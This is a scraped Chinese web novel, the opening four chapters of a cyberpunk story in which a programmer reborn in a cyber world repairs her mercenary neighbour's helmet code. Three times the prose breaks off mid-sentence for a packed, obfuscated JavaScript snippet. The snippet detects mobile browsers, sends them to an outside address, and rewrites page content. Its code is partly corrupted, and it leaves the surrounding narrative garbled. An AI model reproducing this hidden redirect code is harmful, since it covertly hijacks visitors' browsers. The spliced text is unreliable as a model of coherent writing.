《草台班子，但统治星际》 1. 重生 砰—— 一辆疾驰而来的汽车将一个浑浑噩噩的女子撞飞。 瞬间，红色和白色的液体飞溅，女子失去意识躺在了马路中间。 路问夏觉得自己的身体一下变得很轻。紧接着，她一点点飘了起来，飘在了马路上空。 一开始，路问夏有些懵。 然后她猛然意识到，躺在地上的人不正是自己吗？ 半晌，一阵鸣笛声由远及近传来，闪着急救灯的救护车呼啸而来。 医生们围着她做了急救措施，却最后只是摇了摇头。 路问夏渐渐连声音也听不见了。 医生说着什么，大概是在宣告死亡。 路问夏眼睁睁看着自己的遗体被送去殡仪馆火化，看着第二天她的同事在办公室愕然惋惜。 再然后，她什么也看不见了，进入了沉沉的梦乡。 - 办公室里，同事正在帮忙收拾路问夏遗留的物品。 “这是......？” 突然，同事在抽屉里发现了一个U盘。U盘是黄色的，上面有一个瓢虫的图案。 “七星瓢虫？”旁边的另一个同事凑了过来，好奇地看了一眼，“但里面是什么？路组长有说过吗？” 发现U盘的同事耸耸肩摇头：“不知道。我和路组长除了交周报和月报，都不怎么说话。” “好吧，我也不熟。” 好奇心作祟下，同事鬼使神差地拿起U盘插进了电脑。 “要不，我们看看里面？万一是什么公司机密呢！” “好。” 两人点开U盘，里面只有一个文件可以运行。 “应该不会是病毒吧？”同事半信半疑地点开。 “HelloWorld！”一声欢迎提示音从电脑里响起，弹出了一个窗口。 窗口里，两个像素块组成的小人挥舞着手臂欢迎着屏幕前的人。 机械的动作显得有些笨拙和幼稚。 “这是什么？”同事皱着眉头看了一会儿，“怎么像小学生作业......” “确实，看着也不像是组长的风格。” 另一个同事按着鼠标，控制着小人在漆黑的环境里走来走去，却什么别的都没发生。 “算了。”同事摇了摇头，干脆直接地关闭了窗口，然后将电脑关机，连同U盘一同打包进了纸箱。 - 嘶—— 头疼，头疼得像是脑袋里被装了一颗炸弹。 倒计时见底，炸弹不断发出尖锐的警报声。 电流在四周滋滋作响，带着强烈的立体环绕声的效果，从左耳跑到右耳，又从右耳直冲天灵盖。 那是种牵着神经似的疼。 路问夏晃了晃脑袋，却发现根本无法摆脱这种难受。 在艰难地深呼吸后，路问夏慢慢地睁开了眼睛。 眼前是如同电子故障般的红蓝绿色的条纹，其图像伴随着强烈的闪烁和模糊，让一切变得难以被肉眼所识别。 那种视网膜成像被严重破坏到扭曲的刺激，让路问夏的胃部猛然泛起一阵酸意。 糟了！ 路问夏暗道不妙，紧皱着眉头想要克制住生理性反应。 但下一秒，路问夏不愿发生的事情还是变成了现实。 呕—— 粘稠的呕吐物从胃底通过食管泛到了喉咙口，落在面前黑黢黢的地面。 只一眼，路问夏觉得更恶心了！ 路问夏偏过头，看着灰扑扑的墙壁。 除了胃难受，她觉得现在自己全身都疼。 也不知道这身体干了什么高强度的体力劳动还是什么的。 路问夏就这么坐在地上，大概过了三分钟，才缓过神来。 眼前的电子故障终于消失。 路问夏忍着隐隐作痛的胃和天旋地转的脑袋，慢慢打量四周。 本就逼仄狭小的房屋里堆积着各种杂物，沙发床上散落着破烂不堪的各色衣物。 左侧墙角是一些纸箱，右侧则是奇怪的造型诡异的破铜烂铁，外加小臂粗细的一捆缠绕在一起的电线。 茶几上有一个移动终端，旁边则躺倒着好几个易拉罐。 这些易拉罐离甚至有没喝完的，粘稠的液体不知道沾在不锈钢板上多久，都有些发黑了。 周遭的一切，让路问夏的胃部再次猛然翻腾。 她深吸了一口，克制住了给这个地方雪上加霜的动作。 路问夏撑着地面，费了些力气起身。 哪怕只是这样一个起身的动作，都让路问夏眼前再次一黑，差点左脚绊右脚，又摔回去。 她怎么比平时更虚弱了！ 路问夏想看一下糟糕的自己，下意识去翻手机，却发现口袋空空。 手机不见了？ 那万一老板又让她半夜修bug怎么办？她可是小组里修bug的中流砥柱。 不不不，她已经死了！她不需要再修bug继续牛马生活了！ ——难道，她成了阿飘？ 但现在无论是痛感还是对身体的掌控感，都真实得可怕。 带着满肚子的疑问，路问夏径直推开了一扇锈迹斑斑的铁门，来到了洗手间。 这是整间屋子唯一独立的另一个空间。 镜子已经落满了灰尘，路问夏随手捡起角落洗衣篓里的一件脏衣服，将镜子擦试出一片干净的区域。 一张熟悉的脸庞浮现。 抢占视线的是一模一样的单眼皮丹凤眼，熟悉的下三白显得有些疏离。 是自己。 除了一头变短带着齐刘海的头发，瞳孔的颜色呈现诡异的浅灰，以及皮肤上不容忽视的干裂，这张脸和自己并无二致。 路问夏然后抬起双手，眼皮微抬，眉毛耸起。 ——自己左手竟然是完全的钢筋铁臂？ 她好奇地戳了一下，硬邦邦的。如果仔细看的话，还能看到机械小臂和大臂肌肤处的接口。 好在，右手还是人类的样子。除了拇指和食指厚厚的茧，也没什么不同。 所以，她没死，只是来到了一个奇怪的新世界？ 她这是重生了？！ 既然是重生，那好消息是—— 她上辈子欠的帝都两百万房贷不用还了！ 可路问夏的开心没持续一分钟，她就意识到了一件糟糕的事—— 坏消息是，这具身体的健康和经济状况似乎不太妙，生活环境就更不堪入目了。 路问夏做了两个深呼吸，这才走出洗手间，再次打量起自己的屋子。 好吧，自己没有产生幻觉。 屋子乱糟糟的，一切都很穷酸。 只是，有一些明显的机械零件和装置和屋子格格不入。 路问夏拿起桌子上一个魔方状的黑色小方块，借着幽暗的灯光研究了一下。 然后，她按下了方块上的一个凸出的小点。 瞬间，炫光四射，空中立刻投影出一个人像，看起来像是新闻主播。 “欢迎大家收看桑特电视台晚间新闻。” 这是电视加投影一体机？ “德洛马斯宣布其开发的意识上传项目已进入第二阶段实验。据德洛马斯公关部负责人表示，项目预计在明年年初上市，仅为其vvip用户抢先体验。” “巨石集团第三期安保人员招聘火热进行中，员工可享受免费义肢升级服务！” “清濑医药招募新药志愿者，报酬丰厚，详情请咨询xxxx。” 路问夏：...... 播一则新闻插两个广告，这桑特电视台倒挺会创收的。 她面无表情地直接关掉了这款魔方投屏电视。 从这房间的布置和这几条新闻，路问夏心中已经有了一个大胆的猜测。 只是，刚好了没多久的视力，此刻又开始在她眼前闪烁红绿故障条了。 而且她的肚子在此刻也不合时宜地咕咕叫了起来。 路问夏揉揉太阳穴，一把打开了看上去年纪颇大的草绿色冰箱。 嘎吱—— 冰箱门瞬间摇摇欲坠，让她不得不将动作变得轻柔。 冰箱里东倒西歪摆着各种颜色的瓶瓶罐罐，但唯独没有什么常见的蔬菜水果，连基本的鸡蛋牛奶也不见踪影。 路问夏随手拿出一个墨绿色玻璃瓶，看了眼上面的文字。 ——神农营养液。 农药？ 哦，不对。 是神、神农？ 好奇怪的名字，但她并无印象。 根据刚才听到的广告，这个神农大概率是清濑医药的友商。 不过既然叫神农，那估计很有效了？ 她不如当场尝尝这农药。 哦不，营养液。 路问夏扭开瓶盖，先用舌尖尝了几滴，味蕾瞬间被香精的甜味笼罩。 大概三十秒，她发现没有明显的不适后，才大胆地将更多的液体灌进胃里。 别说，这神农牌营养液的效果立竿见影！ 四肢无力的症状得到明显改善，头也不晕了，眼也...... 不，眼睛还是花的！ 视网膜前的技术故障并未被自动修复！！ 路问夏猜测，这里大概率是赛博世界没跑了。 而自己的眼睛，大概率是硬件损坏，可不是随便吃点药就能解决的问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421348|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路问夏回到沙发边，终于有空注意到了几乎完全陷进缝隙里的移动终端。 黑色的机子像是放大版的手机，藏在黑漆漆的沙发里，差点儿完美隐身。 直觉告诉路问夏，那里面至少包含了一些让她能够快速了解这个新世界的信息。 手指上滑，这是虹膜解锁。 终端桌面只有屈指可数的零星几个app图标。 「信箱」「浏览器」「钱包」「地图」 路问夏点开浏览器，发现历史记录已经被清空。 但信箱里倒是还有几封信。 她一一点开，快速浏览着自己在这个赛博世界的各种信息。 很快，一本电子病例吸引了路问夏的注意。 姓名：路问夏 性别：女 年龄：25岁 户籍：伍德星 既往病史：轻度营养不良 诊断结果：中度赛博精神病，伴随间歇性失忆，需要接受长期药物治疗，否则将精神彻底崩溃死亡。 路问夏眨眨眼睛，试图理解目前的状况。 名字是自己这个名字，但—— “我有赛博精神病？而且还有生命危险？？” 不是吧？！！ 老天好不容易给了自己一次从互联网程序员牛马重生的机会，但却是一俱即将英年早逝的预制尸体吗？？！！ 路问夏感觉胸口压着块大石头，堵得慌。 她将移动终端揣进了兜里，沉默地走到窗边，将厚重的沾满灰尘的窗帘缓缓拉开。 她想透透气，冷静一下。 ！！！ 第一眼，绚丽的夜景冲进了路问夏的眼眸，让她本就糟糕的视力受到新一轮冲击。 这是一片不熄灭的霓虹海洋。 巨幅的电子屏幕上播放着各色的广告和新闻，街边小店的招牌是投影悬浮在空中的。 自己所处的片区高楼并不多，街道很窄，汽车和摩托沿着车道狂飙，很多人无视了路口的红绿灯。 眺望远处，则是大片大片高耸入云的大厦，几乎每层都亮着灯，照亮着周边的大地，比天上的星辰更耀眼。 空中偶尔有疾驰的飞行汽车，如同直升机一样在大楼的顶端独家车位上起飞和降落，显然噪音更小、乘坐更舒适。 显然，这里的科技程度比她之前的世界强很多。 但资本世界如同一台永不停息的轰隆隆运转的机器，人在这里很渺小，渺小得可能连齿轮都算不上。 如果朝着东南方向仔细看，有另一个发光的球体挂在天空的一角，散发着奇妙的吸引力。 球体如同黑夜中的太阳，高悬于众人的头顶。 不，不能就这么认命！ 路问夏拍了拍自己的脸颊，让自己清醒一点。 这可是赛博世界，路上的一切看上去都很酷，那医疗水平想必也不知道比自己曾经的世界高多少吧？ 肯定有救命的办法吧？！ 滋、滋滋—— 脑袋又开始尖叫了。 很吵。 路问夏最后打开了「钱包」app，而里面的银行账户，让她再次沉默。 250星币。 ......这确定不是在讽刺她？ 按照她随手在浏览器搜索的信息，市面上光是一瓶营养液就要400星币，义肢便宜的黑市货都要四位数，店里五位数六位数的数不胜数。 这250星币除了嘲讽她，到底能干什么！ 路问夏深呼吸。 为了活下去，她得先想办法赚笔钱，吃上饭。 至于把自己破烂的人体硬件修好和精神病治好，那都是后面的事儿！ 要不，先出门收集一下信息，看看能不能碰运气找到一些赚钱的法子。 毕竟，自己这身体，无论是去应聘巨石公司的安保，还是清濑医药的小白鼠，都没戏。 路问夏刚推开门，哗啦啦的声音传来。 门口的垃圾失去倚靠，一下子全都倒了下来。 要不是路问夏向后跳得快，垃圾估计全洒在她的脚上。 哒、哒—— 然后是一串厚重的脚步声从楼梯口传来。 在伸手不见五指的漆黑楼道里，这声音显得尤为恐怖。 而且，这楼道天花板装着的灯似乎是坏了，除了在风中晃悠营造恐怖氛围，完全没有实际作用。 路问夏谨慎地完全退到房间里，悄悄观察着她不熟悉的世界。 到底是谁？是自己的朋友还是追杀的敌人？她会因此面对生命的危险吗？ 路问夏的一颗心被提了起来，汗毛因为紧张而竖立，惴惴不安地通过极其有限的视角观察着。 2. 邻居 那人穿着一双厚底皮靴，靴子底部沾着褐色的泥土，鞋面上也有泥点的痕迹。 视线往上，是一条洗得被褪色的军绿工装裤，口袋鼓囊，可能装着些什么。 再往上，路问夏就看不见了。 角度有限，且对方已经近在咫尺。 对方的步子迈得很稳，靴子敲在地面上，压迫感袭来。 砰—— 下一秒，对方的手已经砸在了门上。 路问夏下意识把门关上，然后祈祷对方不会破门而入。 紧接着，门口传来砰砰的敲门声，让路问夏更是暗道不妙，心跳加速快要爆炸。 不会吧？她真的是朝自己而来的吗？ 可她好不容易重生，就要这么快在新手村交代了吗？！ 好在，一道低沉但带着友好的声音从门口传来。 “嗨，路，你怎么了吗？” 对方和自己认识？ 路问夏的心放下了几分。 见路问夏没有回应，门口的女生敲门声变得急促起来。 “我看你好几天没出门了，是身体出什么事儿了吗？” 从那焦急的语气来判断，门口的女生大概率是她的邻居，且对自己挺关心的。 看着对方一时半会不走的模样，路问夏决定先回答一下。 “我没事，你是有什么事吗？” “我头盔又坏了，你这次也方便到我家帮我看一下吗？”对方的声音很平静。 头盔坏了找自己修？ 还是去她家里？ 这事儿听上去有些危险，路问夏默不作声。 “路，是今天不方便吗？”见路问夏迟迟没有开门，女生询问道，“不方便的话，那我先回去了。” 路问夏松了口气，顺着对方的台阶下。 “我现在是有点儿事！”路问夏朝门口喊道。 “好，你要是有空了，随时来敲门。” “嗯。” 路问夏看了一眼脏兮兮黑色结块沙发，犹豫了一下，坐在了旁边的铁板凳上。 也许，可能真的是自己想多了。那个女生就是自己的邻居并不是什么坏人。 算了，谨慎点也不是什么坏事。 路问夏在终端上又是一阵信息检索，关于防护服和头盔的，关于维修和编码的...... 她在快速吸收着知识，脑袋里同时快速比对着新语言和自己掌握的编程语言的异同。 她越学越发现这里的程序语言和她所在的时候底层逻辑是相同的。 但身体的警报再次打断路问夏，似乎是无法承受如此大量的信息处理。 滋滋—— 这一次，头疼得比之前更厉害了，路问夏不受控制地从板凳上摔了下去。 这一次的疼痛和眩晕持续得比之前都久，让路问夏呼吸逐渐急促紊乱。血液在加速流动，路问夏觉得胸口憋着一股气，隐隐驱使着自己朝着更不可控的方向狂奔。 路问夏的眼球充满了血丝。 她现在很烦躁。 她想把桌上的东西全都扫下去！ 手上的动作甚至比脑子更快。 下一秒，路问夏把茶几上仅剩的几个易拉罐和废弃盒子扫在了地上。甚至，连那个被摆回去的终端，路问夏也没放过。 叮叮当当的声音在房间里回荡着。 砰砰砰—— 很快，敲门声再次传来。 “路，开门！”敲门的力度要把门拍散一般，“你是又难受了吗？” 还是自己的邻居。 但路问夏敏锐地捕捉到了邻居话里的「又」字。所以说，对方是知道自己身体状况的，而且很关心。 路问夏强忍着脑袋的疼痛和眩晕，努力把自己从地上撑起来。这时候她有点儿庆幸，这具身体的瘦弱。 她蹒跚地走到门边，打开了门锁。 “嗯......”她甚至因为疼而说不了话，顺着墙又蹲了下来。 对方急忙走进路问夏的房间，蹲在她的身旁，观察她的情况。 也是在这个时候，路问夏看清了穿那双靴子的女人长什么样。 她穿着防护盔甲，能看出身形非常强壮。只是，她手里提着的头盔不知为何，正在不规则闪烁着红色灯光。 借着那警报的微弱灯光，路问夏发现这位女子的脸色有些苍白。 “是失忆症又犯了吗？”对方关心着自己。 失忆症？不是赛博精神病吗？所以说，对方并不知道自己的病？ “嗯......”路问夏脸色苍白。 对方对自己的情况应该是很熟悉了，快速从兜里掏出一个手机大小的方块，上面画了一个红色的十字。 然后，她二话没说，就把那玩意儿插在了路问夏的腹部。 “啊！” 那玩意儿上有针头，瞬间刺进皮肤，疼痛感袭来。 路问夏能感觉到液体被推进自己的身体，脑袋的疼痛和眩晕在慢慢褪去。 看来，那应该是镇静剂之类的治疗药品。 “那个......”路问夏决定顺着对方给的台阶下，“我连你叫什么都忘了。” “......这次这么严重？！” 对方挠挠头，却完全没起疑心，全盘托出自己的信息。 “维拉-加西亚，你通常叫我维拉。我们做了五六年的邻居了。你经常接一些维修义体或者装备的活，所以我刚找你来着......” 维拉看了一眼屋子的东南角落，顿住。 “不是，你的工作台呢？！” “呃......”路问夏也朝维拉目光的方向投去，无辜地看回维拉，“我也忘了。” 维拉：“......” 在身体状况稳定一些后，路问夏才看清了维拉的样子—— 金色的齐耳短发带着水珠有些凌乱，一双湛蓝色的眸子明亮，下面是挺翘的鼻子。 明显的白种人。 但维拉手臂有着不容忽视的肌肉，看起来就...... 很能打！ 只是，她的眼下有着浓重的淤青，脸颊有划伤，破坏了整张脸的和谐。 维拉受伤了？ “你怎么了？”路问夏指了下维拉的脸。 维拉不在意地耸耸肩膀，说道：“今天的活有点儿危险，害我挨了一拳。” “任务完成了？”路问夏追问。 “当然完成了！”对方挑眉，“我可是雇佣兵联盟里成功率排名第一的人。” 原来维拉是雇佣兵。 维拉继续道：“今天太倒霉了！对方好像把我的程序板打坏了，这破头盔一直在给我闪灯报错。外面维修师要价太贵。硬件问题好说，我至少能找到二手便宜货，但他爹的程序报错价格直接翻了三倍！” 路问夏盯着头盔不断闪烁的灯光，以及后脑勺处的接口，若有所思。 “是硬件还是代码问题？”路问夏问道。 “代码。硬件的话没这么麻烦。” 如果是代码的话，路问夏觉得说不定自己能解决？ 她刚才看过一些基本的书籍，代码的底层逻辑和她会的是一致的。 “要不我试试？” 维拉表情复杂，说道：“但你的工作台都不见了。” 路问夏：“......” - “到了。”维拉打开了房门。 眼前是和刚才自己屋子相同的房屋结构，但显然是完全不同的场景—— 白色冷灯下，整个房间井井有条，虽然面积小，但该有的家具一个不缺。 床铺收拾得极为干净，连被子都叠成了小方块。更不要说旁边的书桌、茶几和书架，摆放整齐不说，甚至完全按照颜色排列。 像是......有强迫症？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421349|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>维拉把头盔连接到了工作台的光脑上，朝路问夏抬了下巴。 “你试试。” 路问夏坐到光脑椅上，显示屏上快速分析着头盔的各种信息。 报错一大堆，红灯连成片，但主要的问题都集中在芯片所关联的功能上。 要想解决这个头盔的程序报错，路问夏需要对芯片的源代码进行改动。 路问夏打开了修改程序的面板，快速滑动浏览着。 面对那一行又一行的代码，路问夏本能地瞬间发现了一些不对劲。 果然，这该死的牛马肌肉记忆在此刻作祟！ 而刚刚才学进脑袋里的信息在下一刻就从记忆宫殿里调了出来，明晃晃地呈现在眼前。 等等！ 自己的记忆什么时候这么好了？！ 路问夏皱眉，感觉着这具身体的不同寻常。 “能修复吗？”维拉坐在沙发上，随口问道。 她刚打开了医药箱，正在处理自己脸上的淤青和伤口。 路问夏揉了揉太阳穴，回道：“需要点儿时间，但应该问题不大。” 维拉点点头：“不着急。” 维拉很快敷好药，站起身来到了路问夏的身旁。 她一手撑着桌子，一手撑在光脑椅的靠背上，目不转睛地盯着屏幕上的代码和路问夏手上的动作。 维拉笑笑：“其实修不好也没事。” 路问夏反驳：“能修好。” 维拉只当她是在硬撑，又坐回了沙发，打开电视看起新闻。 “欢迎收看伍德晚间新闻。近日，我星发生多起赛博精神病伤人事件，警方刚刚逮捕了在市中心恶意开枪袭击市民，造成了十二人死亡的罪犯。请市民朋友注意安全，如发现失控的赛博精神患者，请及时拨打警方电话111。” 在看代码的路问夏听到新闻后，愣怔住了。 不是，原来自己是赛博精神病的话，甚至还可能直接被抓去警察局？？ 怪不得维拉只当自己是失忆症！ 感情要是告诉她自己其实是赛博精神病引发的失忆，岂不是要被抓走？！ 路问夏深呼吸，平复着面对连续噩耗而强烈起伏的情绪。 自己得想办法解决这毛病！ 想着，路问夏手上的动作下意识加快。 在治疗剂的效果下，路问夏的大脑恢复了工作效率。 眼睛同时进行着阅读和挑错两项工作，手指在虚拟键盘上快速敲打着，三下五除二把出错的那几行代码修复。 尽管这和此前掌握的具体代码不同，但底层逻辑极为相似，让路问夏快速掌握其中的门道。 呼！不难嘛。 改完，路问夏撑着脑袋随手翻了一遍代码，却神奇地发现了一处看上去有些突兀的地方。 这串代码是......？ 路问夏的动作停顿，记忆宫殿里有关新世界的代码记忆浮现在眼前。 那是一颗生长出不同枝桠的大树，但大树被迷雾所笼罩，让她看不真切。 前方，似乎隐隐约约有光亮。 滋、滋滋—— 头疼来的不是时候，让路问夏快要清晰的思路再次被打断。 她疼得脸皱成一团，不停地揉着额头。 该死的！药效这么快就过去了吗？！ “不是吧？你最近的情况又恶化了吗？” 维拉从沙发上蹭的一下站了起来，从医药箱里拿出药片，又从水龙头接了一些冷水，递到了路问夏的眼前。 “这是......？”路问夏强忍着问道。 “刚才那个是急救用的，这个生效慢一些，但持续生效的时间应该长些。” 路问夏心想，水龙头的水直接喝也太不讲究了！ 于是，她只是接过药片，干咽了下去。 维拉拿着水杯的手一顿。 “......” 3. 代码 生吞完药片后嗓子难受得紧，过了好一阵，路问夏的脑袋才慢慢地缓过劲来。 只是为什么眼前还是有点儿花？ “看不清是正常的副作用吗？”路问夏觉得这个叫维拉的邻居应该是挺靠谱的，于是问道。 维拉挠挠头：“我没听说还有这个症状啊？你之前也没有，是不是和视觉连接的某个义体出现了什么问题？” “啊......”路问夏觉得这具预制尸体似乎没比之前那个猝死的好多少。 “算了，我之后再研究好了。” 路问夏深呼吸，重新聚焦在眼前如山的代码里，寻找着大树迷宫里的出路。 “先解决你头盔的问题。” 因为专注的缘故，路问夏的眉头紧锁。 “实在修不好没事的。”维拉看着路问夏的模样，以为她遇到了什么难以跨越的困难，开口安慰。 空气很寂静。 “马上好。”路问夏盯着屏幕好一会儿，才抽空投去一个放心的眼神。 实际上，如果只是修复头盔的功能故障，对她来说并不难。 路问夏以前可是公司里数一数二的程序员组长，逢年过节要是突然有bug要修复，第一个被打电话的人都是她。 路问夏的手指在键盘上流畅地敲击着，眨眼间，头盔的修复工作就基本完成了。 只是...... 似乎在这片代码的森林里，还隐藏什么她未曾注意到的东西。 那是属于顶尖程序员的第六感。 路问夏的目光在几处代码间来回扫着，手指习惯性地摩挲着胸前的吊坠。 嗯？手感不对。 路问夏低头，发现那吊坠和自己原先世界里的不太一样。 她带的不是个小行星吊坠么？ 但这是......U盘？ 黄色的U盘上，上面有一个黑色的瓢虫图案，颜色非常醒目。 但自己有过这个东西吗？ 路问夏有些恍惚，记忆模糊。 路问夏总觉得这个世界似乎和自己曾经的世界有很多相似，又有很多不同。 隐隐的，有一些东西在土地下疯狂生长着，似乎要破土而出。 刚才药片的药效确实比急救款的好很多，路问夏脑袋清楚了不少。 她路问夏这人，最爱刨根问底，最讨厌半途而废。 毕竟，半途而废这种做法，是对她能力的最大质疑！ 漫长的一分钟后，一道灵光在路问夏的脑袋里一闪而过。 她奋力将其抓住。 等等，这不会是......？ 一个大胆的猜测在脑子里冒出来。 这个代码不会是一整串代码的冰山一角吧？？ 这么想着，路问夏手上敲打的动作又流畅起来。 之前看的东西已经和路问夏原本的知识融合在一起。 她噼里啪啦地敲打着键盘，几乎是靠着本能在写代码。 声音很快引起了维拉的注意，她饶有兴趣地走了过来。 可惜，代码大山让她瞬间晕字。 倒是自家邻居表情笃定、神情专注的模样，和平时见到的全然不一样。 啪—— 路问夏敲下最后的回车键，回过头和维拉视线对上。 她扯了个笑脸，站起身，挑起眉毛：“你试试。” “啊？你现在怎么更快了？！” 维拉看了一眼时钟，此时距离路问夏进门不过才十五分钟。 “平时虽然你也特别厉害，但也要差不多半小时吧。” 而今天，这...... 这十五分钟就给她解决了？！ “难道是失忆症越严重，脑袋越好使？”维拉猜测道。 路问夏：“......” 维拉的脑回路挺特别。 “是不闪灯了。”维拉看了眼不再闪烁红灯的头盔，将其戴上。 维拉将头盔的数据线扯出，与自己的皮下神经接口相连，完成了匹配连接。 头盔的系统界面出现在维拉的眼前，只是路问夏看不到。 “试试？”路问夏努努嘴。 维拉随后按下头盔右后方的按钮，这是此前失灵报错的功能。 滴滴—— 头盔发出正常工作的提示音。下一秒，完整的热成像呈现在她的眼前。 “热成像正常了！” 路问夏抱胸点头。“嗯哼。” 维拉欣喜地赶忙按了其他几个有问题的按钮。 “防御和入侵功能也都能正常工作，系统顺滑得简直和新买的一样！” “路......”维拉转过头，眼睛亮晶晶的，“连之前用久了的系统卡顿都消失了！” “你再按一下那个......热成像按钮。”路问夏将手放在后脑勺对应的位置，示意维拉。 维拉：“啊？” 维拉不懂，但她还是照做了。 只是按下的一瞬间，维拉就更为震惊地瞪大了眼睛。 “这是......？！” 路问夏嘴角扬起：“声波成像功能。” “但这不是第二代加钱才能有的功能吗？！” “哦～”路问夏恍然大悟，“怪不得他们在代码里已经藏了一小截，原来是方便升级用的，我说怎么这么奇怪呢。” 说完，路问夏又仔细地回想着刚才看到的一切，若有所思。 “很巧妙的设计，很难发现，但确实在设计上考虑到了更新迭代。”路问夏评价夸奖道。 维拉没听懂，但她看路问夏的眼神都变得不一样了——带着点儿对邻居的崇敬。 她感觉眼前的邻居，好像从很厉害的维修师，变成了更天才的存在。 “怎么？”路问夏回过神看到维拉的模样，好奇地问道。 “你真的帮了我的大忙！我最近手头有些紧，根本拿不出一大笔钱出来维修头盔。”说着维拉叹了口气，“但头盔如果一直是损坏的状态，我就没办法接一些有难度奖金高的任务。” “恶性循环。” “对！真要这么下去，我这本就不高的生活水平就还得再降降了......” “总之，谢了。”她和路问夏真挚道谢，表情虔诚地将完好的头盔放进她的装备储存柜里，“我把钱给你转过去了。” 叮—— 路问夏拿出终端，看到了钱包的温馨提示。 「收到来自维拉的打款：+1000星币。」 “那个，你别嫌弃少啊。”维拉打完，还不好意思地挠挠头，“虽然市面上都要两倍不止的价格，但我最近真没钱了，之后我会多接两个委托的，然后请你吃饭！” 这哪里少了！这已经是她存款的四倍，能买五瓶营养液了！！ 路问夏摆摆手：“没事。” 三秒后，咕咕的声音传来。 源头是路问夏的肚子。 “......”路问夏想找个地洞钻下去，“要不，你现在就请我吃饭？” “啊？” 她继续心虚地解释道：“除了你给我的1000星币，我身上只有250......” “啊？？”饶是本就不富裕的维拉也被路问夏的穷酸震惊了。 “你之前不是还赚了点钱吗？去哪儿了？”维拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421350|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 路问夏撇嘴：“额，关于这个也失忆了。” 维拉：“......” “拜托，从第二次协议战争后，饿死已经不流行了......”维拉吐槽道。 “第二次协议战争？” 路问夏刚想追问，维拉就打断了她。 “行了，避免你成为因饿死而成为研究对象，赶紧走吧。” 总之，维拉实在看不下去路问夏以饿死为赛博世界的神奇死法，带上钥匙拉她出了门。 窗外看到的世界如今真切地展开在了眼前，让路问夏的脚步不自觉顿住。 “我带你去伍德星最好的中华料理店吃饭。”维拉笑眯眯地朝东北方向指了一下，咂巴了下嘴，“我最喜欢它家的牛肉米粉。” “好啊。” 路问夏发现这条街上有很多小贩，他们黑发棕眸，摊上摆着烤串或是炒饭，香气扑鼻。 “这里似乎有很多亚洲餐厅。”路问夏说道。 “你连这个也忘了？”维拉挠挠头，但并没有起疑地给路问夏解释道，“这里是滨河市场，算是伍德星里最热闹的市场之一了。只是，因为历史原因，这里都是亚洲店铺。” 滨河市场的夜晚尤为热闹，蓝绿色和紫红色的霓虹招牌灯碰撞出融合而冲突的视觉效果。 每个店的招牌争先恐后地林立在墙壁之上，营造出了层叠小山的形状。 这里的街道很窄，仅有一来一回两条车道。但却是麻雀虽小、五脏俱全的类型。街上无论是义肢武器店、诊所旅馆，还是酒吧夜店，都齐全得很。 就是这市场的卫生条件无法恭维—— 人们在街边接吻睡觉发疯，老鼠在路灯下跑酷觅食打架。 如果她随便走进一家便利店的话，还能发现有拿着啤酒的醉汉和拿着武器的纹身□□互相虎视眈眈。 “这也是......正常的嘛？”路问夏撞了撞维拉的肩膀。 “嗯，最好别管他们，你这小身板遇到火拼，肯定最先挂了。” 维拉的话实在，但扎心。 路问夏无法反驳：“......” 路问夏在路上走着，继续观察着这个世界。 可心中的疑惑更多了。 “嘶——”路问夏朝维拉示意，“这也是正常的吗？” 维拉顺着路问夏所示的方向看去。 只见一个穿着暴露的红头发肌肉帅哥主动朝路问夏抛媚眼。 “来玩嘛？” 他身边还稀稀落落站着另外几个不同种族不同类型的男人，都是一副似醉非醉的迷离模样，动作都是明晃晃的勾引。 路问夏：“......” 她抬头，显眼的粉色灯光下映入眼帘。 光太亮，路问夏得微眯起眼睛，才总算看见了这家店的名字——天上温柔乡。 又低头打量着眼前的男人，以及身后的写着「欢迎来温柔乡一夜春风」的招牌，心中了然。 天！果然是很新潮的赛博新世界，竟然还有这种地方！ 维拉也反应了过来，语气一点儿也不惊讶。 “哦，这里是个鸭子店，周末生意还不错的，但今天周三，就没什么人。” 维拉看路问夏一直盯着看，以为是想进去。 “就是他们家挺贵的，以路你现在的钱包，可能进不去。要我说，这温柔乡老板该多有钱啊！” “有钱人就不能多我一个么......” 一分钱难倒路问夏！ 于是，路问夏一脸正气地朝那帅哥伸出右手掌，拒绝道：“不了。” 她大步流星地离开了这花花世界。 4. 自己 这家中华料理店位于一条狭小巷子的深处，店头很小，店里凳子接着凳子的布局十分紧凑。 “好多人啊。”路问夏闻着食物的香气，看着店里人头攒动，不禁感叹道。 “这是滨海市场最有人气的一家中华料理了。” 维拉轻车熟路地招呼服务员，点了几个招牌菜，“两碗牛肉米线再加一份炒时蔬。” “一共60星币。” 